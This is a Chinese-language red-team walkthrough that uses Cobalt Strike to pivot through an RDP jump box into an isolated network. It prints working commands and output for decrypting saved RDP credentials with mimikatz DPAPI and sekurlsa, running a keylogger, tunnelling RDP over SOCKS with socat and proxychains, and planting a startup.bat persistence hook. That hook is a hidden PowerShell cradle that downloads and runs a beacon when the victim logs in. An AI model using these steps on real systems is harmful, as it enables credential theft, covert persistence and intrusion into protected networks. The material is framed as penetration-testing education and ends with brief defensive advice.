如何使用RDP跳过网络隔离？

简介

本文我将向大家演示，如何通过RDP跳转盒进入隔离/受保护的网络。下图是我为该场景制作的拓扑图：

简要说明：

LAN是一种扁平的工作站和服务器网络。

一些服务器（包括RDP跳转盒）无法与Internet连接。

工作站可以通过代理访问Internet。

RDP跳转盒是LAN上唯一可以与“Secret Network（隔离网络）”通话的主机，仅限于3389端口。

rasta-lan.local和secret-lan.local是两种不同的网络。

LAN网段为：10.0.0.0/16；隔离网络网段为：172.16.0.0/24。

通过该方案，渗透测试人员可以在其渗透主机（Windows 10）上打开远程桌面连接，并利用RDP直接连接到隔离/受保护的目标服务器上。

场景预设

我们已有一个名为rasta_mouse的域用户组成员的beacon(信标)。通过查询目标服务器，以确定哪些用户/组已被授予了RDP访问权限。

beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName  : rasta-lan.local/Jump Box Users
IsDomain     : True
IsGroup      : True
SID          : S-1-5-21-2294392343-2072776990-791666979-1106

谁是Jump Box（跳转盒）用户组的成员？

beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain  : rasta-lan.local
GroupName    : Jump Box Users
MemberDomain : rasta-lan.local
MemberName   : rasta_mouse_adm
MemberSID    : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup      : False
MemberDN     : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

rasta_mouse有两个单独的帐户，这意味着我们需要获取到rasta_mouse_adm的账户凭据才能继续我们下一步的操作。这里我将探讨两种可能的方法。

凭据管理器 & DPAPI

如果用户选择了保存RDP凭据，并且你也有SeDebugPrivilege权限来执行此操作，那么这将是最有趣和有效的办法。

在凭据管理器GUI中的Windows凭据：

你也可以在命令行上获取：

beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/rdp01
Identity: LAN\rasta_mouse_adm
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)

这些凭据存储在用户目录C:\Users\<username>\AppData\Local\Microsoft\Credentials\*中。

beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
    Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-       02/09/2017     13:37            412 2647629F5AA74CD934ECD2F88D64ECD0
-a-hs-       30/08/2017     19:28          11204 DFBE70A7E5CC19A398EBF1B96859CE5D

现在我们来查看C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 。

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data
  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : be072ec0f54a6ceaffd09fe2275d72f9
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : a3579f9e295013432807757d3bcdf82e
  dwDataLen          : 000000d8 - 216
  pbData             : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
  dwSignLen          : 00000014 - 20
  pbSign             : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

以上我们需要关注的是pbData和guidMasterKey的信息。pbData是我们要解密的数据，guidMasterKey是解密所需要的密钥。

这里LSASS已经在其缓存中存有这个key – 因此我们可以使用SeDebugPrivilege获取。

beacon> mimikatz !sekurlsa::dpapi

在输出信息中，我们找到了我们需要的GUID和关联的MasterKey。

[00000000]
     * GUID      :  {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
     * Time      :  02/09/2017 13:37:51
     * MasterKey :  95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
     * sha1(key) :  89f35906909d78c84ba64af38a2bd0d1d96a0726

如果我们在交互模式下运行mimikatz，它会自动将这些密钥添加到我们的dpapi缓存中，并在尝试解密凭据时使用它们。但是，通过Cobalt Strike运行mimikatz不允许我们保留相同的会话（至少我不知道该如何保留）。所以，我们必须要拿到key并手动使用它。

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Decrypting Credential:
 * masterkey     : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000d2 - 210
  credUnk0       : 00000000 - 0
  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 02/09/2017 12:37:44
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/rdp01
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : LAN\rasta_mouse_adm
  CredentialBlob : Sup3rAw3s0m3Passw0rd!     <--- BOOM!
  Attributes     : 0

RDP01

这些凭据将用于RDP进入跳转盒 – 因为是直接从我们的渗透机器上这样做。所以，我们先在我们当前的信标上设置一个SOCKS代理。

beacon> socks 1337
[+] started SOCKS4a server on: 1337

SSH进入你的Teamserver，并安装socat和proxychains（如果还未安装）。
修改proxychains.conf配置文件，以在端口1337上使用127.0.0.1。
然后用proxychains运行socat – > proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389。

这将允许我们的Teamserver在3389端口监听，任何进入该该端口的流量，都将被重定向到socks代理10.0.0.100:3389上。

现在，我们已经RDP到了我们的Teamserver的IP地址，我们应该已经在jump box上了…

Persistence

为了保持对该服务器的持久访问，我们可以进行简单的设置，以便当真正的rasta_mouse_adm用户连接时，我们可以获取到一个SMB Beacon。

操作步骤如下：

创建一个无状态PowerShell SMB Beacon payload。
在你的Teamserver（(web delivery)）上将其托管在/smb。
在我们当前的beacon创建一个Reverse Port Foward -> rportfwd 8080 178.62.56.134 80。
创建C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat，并写入以下内容：

powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"

注销RDP会话。

当真正的用户登录时，我们将会在我们屏幕上获取到以下信息：

09/02 14:19:45 visit from: 178.62.56.134
    Request: GET /smb
    page Serves /opt/cobaltstrike/uploads/beacon.ps1
    null

让我们连接到beacon。

beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100

注意：如果用户注销了，我们将会失去beacon；如果仅仅只是断开连接，那么我们将保持连接。

SECRET

现在我们已经在jump box上了，我们的目标是SECRET。那么，我们该如何进入SECRET呢？

你实际上我们可以通过键盘记录来获取到我们想要的信息，如下：

beacon> keylogger 1816 x64

Start menu
=======
remo
Remote Desktop Connection
=======
172.16.0.10
Windows Security
=======
SECRET\rasta_mouse[tab]Passw0rd!

停止当前Beacon中的SOCKS代理，以及Teamserver上的proxychains/socat。

在jump box上启动一个新的SOCKS代理（你可以使用相同的端口）。

在你的Teamserver上运行proxychains socat TCP4-LISTEN:3389，fork TCP4:172.16.0.10:3389。

像之前一样，RDP到Teamsever IP，我们将直接进入到SECRET。

总结

不要保存RDP凭据在jump boxes上，建议使用双因素身份认证。DPAPI没有足够的保护。https://t.co/1lBySQcVYt

— Matthew Dunwoody (@matthewdunwoody) September 2, 2017